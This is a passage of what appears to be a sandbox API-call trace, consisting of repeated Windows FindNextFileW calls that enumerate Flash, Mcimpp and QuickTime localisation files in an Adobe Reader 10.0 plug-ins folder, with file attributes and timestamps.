dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="")) returned 0 [0083.535] GetLastError () returned 0x12 [0083.535] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.535] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHS", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHT", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DAN", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DEU", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ESP", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.EUQ", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.FRA", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ITA", cAlternateFileName="")) returned 1 [0083.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.JPN", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.KOR", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6b1000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NLD", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NOR", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.PTB", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SUO", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SVE", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CAT", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHS", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHT", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DAN", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DEU", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ESP", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.EUQ", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.FRA", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ITA", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.JPN", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.KOR", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NLD", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NOR", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.PTB", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SUO", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SVE", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CAT", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHS", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHT", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DAN", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DEU", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ESP", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.EUQ", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.FRA", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ITA", cAlternateFileName="")) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.JPN", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, 